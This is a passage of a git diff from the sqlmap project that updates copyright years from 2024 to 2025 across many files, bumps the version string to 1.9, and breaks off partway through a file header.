'LICENSE' for copying permission users diff --git a/data/txt/keywords.txt b/data/txt/keywords.txt index 50b4262615b..a3f1ca9b0f6 100644 --- a/data/txt/keywords.txt +++ b/data/txt/keywords.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission # SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml) diff --git a/data/txt/user-agents.txt b/data/txt/user-agents.txt index a92582d3995..5b685bdb905 100644 --- a/data/txt/user-agents.txt +++ b/data/txt/user-agents.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission # Opera diff --git a/extra/__init__.py b/extra/__init__.py index 7777bded120..b25b2fb8ba4 100644 --- a/extra/__init__.py +++ b/extra/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/beep/__init__.py b/extra/beep/__init__.py index 7777bded120..b25b2fb8ba4 100644 --- a/extra/beep/__init__.py +++ b/extra/beep/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/beep/beep.py b/extra/beep/beep.py index 788bafde1e3..158c263080b 100644 --- a/extra/beep/beep.py +++ b/extra/beep/beep.py @@ -3,7 +3,7 @@ """ beep.py - Make a beep sound -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/cloak/__init__.py b/extra/cloak/__init__.py index 7777bded120..b25b2fb8ba4 100644 --- a/extra/cloak/__init__.py +++ b/extra/cloak/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py index 8f361a0cf39..a77f17a9c6d 100644 --- a/extra/cloak/cloak.py +++ b/extra/cloak/cloak.py @@ -3,7 +3,7 @@ """ cloak.py - Simple file encryption/compression utility -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/dbgtool/__init__.py b/extra/dbgtool/__init__.py index 7777bded120..b25b2fb8ba4 100644 --- a/extra/dbgtool/__init__.py +++ b/extra/dbgtool/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/dbgtool/dbgtool.py b/extra/dbgtool/dbgtool.py index 5443af7bb02..dfe58bd1bb1 100644 --- a/extra/dbgtool/dbgtool.py +++ b/extra/dbgtool/dbgtool.py @@ -3,7 +3,7 @@ """ dbgtool.py - Portable executable to ASCII debug script converter -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/shutils/blanks.sh b/extra/shutils/blanks.sh index 04be57bd931..78e1e0b7881 100755 --- a/extra/shutils/blanks.sh +++ b/extra/shutils/blanks.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission # Removes trailing spaces from blank lines inside project files diff --git a/extra/shutils/drei.sh b/extra/shutils/drei.sh index 2195d0a9285..25245b2573f 100755 --- a/extra/shutils/drei.sh +++ b/extra/shutils/drei.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission # Stress test against Python3 diff --git a/extra/shutils/duplicates.py b/extra/shutils/duplicates.py index 8f09a598a6e..2177e3dba56 100755 --- a/extra/shutils/duplicates.py +++ b/extra/shutils/duplicates.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -# Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission # Removes duplicate entries in wordlist like files diff --git a/extra/shutils/junk.sh b/extra/shutils/junk.sh index 30e83527e13..32431396f8b 100755 --- a/extra/shutils/junk.sh +++ b/extra/shutils/junk.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null diff --git a/extra/shutils/modernize.sh b/extra/shutils/modernize.sh index d4c3da6cd69..de96e5dbf72 100755 --- a/extra/shutils/modernize.sh +++ b/extra/shutils/modernize.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission # sudo pip install modernize diff --git a/extra/shutils/pycodestyle.sh b/extra/shutils/pycodestyle.sh index f527ed0ce46..edb74c5cde1 100755 --- a/extra/shutils/pycodestyle.sh +++ b/extra/shutils/pycodestyle.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission # Runs pycodestyle on all python files (prerequisite: pip install pycodestyle) diff --git a/extra/shutils/pydiatra.sh b/extra/shutils/pydiatra.sh index 474b67a3684..1a8b58ac217 100755 --- a/extra/shutils/pydiatra.sh +++ b/extra/shutils/pydiatra.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission # Runs py3diatra on all python files (prerequisite: pip install pydiatra) diff --git a/extra/shutils/pyflakes.sh b/extra/shutils/pyflakes.sh index f59f5ba7765..c90c9549f6c 100755 --- a/extra/shutils/pyflakes.sh +++ b/extra/shutils/pyflakes.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission # Runs pyflakes on all python files (prerequisite: apt-get install pyflakes) diff --git a/extra/shutils/pylint.sh b/extra/shutils/pylint.sh index 2ba470e177e..a3a24a2adf7 100755 --- a/extra/shutils/pylint.sh +++ b/extra/shutils/pylint.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pylint --rcfile=./.pylintrc '{}' \; diff --git a/extra/shutils/pypi.sh b/extra/shutils/pypi.sh index 240a70eb951..ec51dc18b0b 100755 --- a/extra/shutils/pypi.sh +++ b/extra/shutils/pypi.sh @@ -16,7 +16,7 @@ cat > $TMP_DIR/setup.py << EOF #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -68,7 +68,7 @@ cat > sqlmap/__init__.py << EOF #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/vulnserver/__init__.py b/extra/vulnserver/__init__.py index 7777bded120..b25b2fb8ba4 100644 --- a/extra/vulnserver/__init__.py +++ b/extra/vulnserver/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index cfa1d1b2f4a..bf0b33cfaa0 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -3,7 +3,7 @@ """ vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes) -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/__init__.py b/lib/__init__.py index 7777bded120..b25b2fb8ba4 100644 --- a/lib/__init__.py +++ b/lib/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/__init__.py b/lib/controller/__init__.py index 7777bded120..b25b2fb8ba4 100644 --- a/lib/controller/__init__.py +++ b/lib/controller/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/action.py b/lib/controller/action.py index f18795cb250..dc05152c069 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/checks.py b/lib/controller/checks.py index f25fb8a817a..f62cca5e9da 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 3d01e3c174d..92cf28ed558 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/handler.py b/lib/controller/handler.py index edece63bce7..bcbedbac6f1 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/__init__.py b/lib/core/__init__.py index 7777bded120..b25b2fb8ba4 100644 --- a/lib/core/__init__.py +++ b/lib/core/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/agent.py b/lib/core/agent.py index 81d24e8b359..1500d9f897d 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index b32bd88a18c..7a6ca724f53 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/common.py b/lib/core/common.py index a2413247d82..281fb3c4b72 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/compat.py b/lib/core/compat.py index 629c844b08a..4f50ca1e27d 100644 --- a/lib/core/compat.py +++ b/lib/core/compat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/convert.py b/lib/core/convert.py index 2a211125ae3..7540715ed08 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/data.py b/lib/core/data.py index 668483495dc..9f06ca2b526 100644 --- a/lib/core/data.py +++ b/lib/core/data.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/datatype.py b/lib/core/datatype.py index 866b1142020..e2957d38b91 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/decorators.py b/lib/core/decorators.py index d2e7f4715d8..36d3ac73855 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/defaults.py b/lib/core/defaults.py index 4ae9c89471c..eb088dd5311 100644 --- a/lib/core/defaults.py +++ b/lib/core/defaults.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 531ef10284f..0253468e21d 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/dump.py b/lib/core/dump.py index 42f713efd9d..3c65bf2d254 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/enums.py b/lib/core/enums.py index 54d4177b71d..16a32d0449b 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/exception.py b/lib/core/exception.py index f923705d912..14a4c65ea52 100644 --- a/lib/core/exception.py +++ b/lib/core/exception.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/gui.py b/lib/core/gui.py index 00f98ee75c4..10b83f37001 100644 --- a/lib/core/gui.py +++ b/lib/core/gui.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -223,7 +223,7 @@ def enqueue(stream, queue): helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE)) helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE)) helpmenu.add_separator() - helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2024\n\n (%s)" % DEV_EMAIL_ADDRESS)) + helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2025\n\n (%s)" % DEV_EMAIL_ADDRESS)) menubar.add_cascade(label="Help", menu=helpmenu) window.config(menu=menubar) diff --git a/lib/core/log.py b/lib/core/log.py index 33e6a36b5f7..c45a1182bc1 100644 --- a/lib/core/log.py +++ b/lib/core/log.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/option.py b/lib/core/option.py index ed4afdbabe9..ce120ad72ca 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 13e152c4bc6..1b7619b5452 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/patch.py b/lib/core/patch.py index 2add0e8d2dd..ce0d7cd223d 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/profiling.py b/lib/core/profiling.py index 6d3de015b52..806224c3571 100644 --- a/lib/core/profiling.py +++ b/lib/core/profiling.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/readlineng.py b/lib/core/readlineng.py index 602ccafa108..8092279bf95 100644 --- a/lib/core/readlineng.py +++ b/lib/core/readlineng.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/replication.py b/lib/core/replication.py index c425568fb00..e35d90a5a75 100644 --- a/lib/core/replication.py +++ b/lib/core/replication.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/revision.py b/lib/core/revision.py index b3e5a046aad..8f9af55b85f 100644 --- a/lib/core/revision.py +++ b/lib/core/revision.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/session.py b/lib/core/session.py index 52b6ed6438f..640b749afad 100644 --- a/lib/core/session.py +++ b/lib/core/session.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/settings.py b/lib/core/settings.py index 333e61f88a5..8d7c58ae656 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.12.2" +VERSION = "1.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/shell.py b/lib/core/shell.py index 14c0076e203..b204acc870c 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/subprocessng.py b/lib/core/subprocessng.py index db2c18be556..803e455e35e 100644 --- a/lib/core/subprocessng.py +++ b/lib/core/subprocessng.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/target.py b/lib/core/target.py index cc3ccd2cc03..bcae39cbb57 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/testing.py b/lib/core/testing.py index debec5a6a75..dfd1f3fd08e 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/threads.py b/lib/core/threads.py index 50b035f2c2c..fa098f09f45 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/unescaper.py b/lib/core/unescaper.py index 09dcba60701..d3680dfada4 100644 --- a/lib/core/unescaper.py +++ b/lib/core/unescaper.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/update.py b/lib/core/update.py index c50547b83e8..1ea8ad94572 100644 --- a/lib/core/update.py +++ b/lib/core/update.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/wordlist.py b/lib/core/wordlist.py index d390ae69eea..4b5133d02d4 100644 --- a/lib/core/wordlist.py +++ b/lib/core/wordlist.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/__init__.py b/lib/parse/__init__.py index 7777bded120..b25b2fb8ba4 100644 --- a/lib/parse/__init__.py +++ b/lib/parse/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/banner.py b/lib/parse/banner.py index 0143beadd46..ef05f08f8dc 100644 --- a/lib/parse/banner.py +++ b/lib/parse/banner.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 0627152af1b..2535bba91dd 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index 19b6e8ec32a..dc655b12ada 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/handler.py b/lib/parse/handler.py index e1af2e5ff7b..ba13703efdb 100644 --- a/lib/parse/handler.py +++ b/lib/parse/handler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/headers.py b/lib/parse/headers.py index 39e40a1f8b1..1890a1ad36d 100644 --- a/lib/parse/headers.py +++ b/lib/parse/headers.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/html.py b/lib/parse/html.py index 374c1a2c3ec..08226a57cd8 100644 --- a/lib/parse/html.py +++ b/lib/parse/html.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/payloads.py b/lib/parse/payloads.py index 5950787c13c..36dc10c6a38 100644 --- a/lib/parse/payloads.py +++ b/lib/parse/payloads.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/sitemap.py b/lib/parse/sitemap.py index 542a58daf45..3c254fb4323 100644 --- a/lib/parse/sitemap.py +++ b/lib/parse/sitemap.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/__init__.py b/lib/request/__init__.py index 7777bded120..b25b2fb8ba4 100644 --- a/lib/request/__init__.py +++ b/lib/request/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/basic.py b/lib/request/basic.py index 921ed2fd7e1..a3a557a906e 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/basicauthhandler.py b/lib/request/basicauthhandler.py index a27368291a2..7abb3723599 100644 --- a/lib/request/basicauthhandler.py +++ b/lib/request/basicauthhandler.py @@ -1,7 +1,7 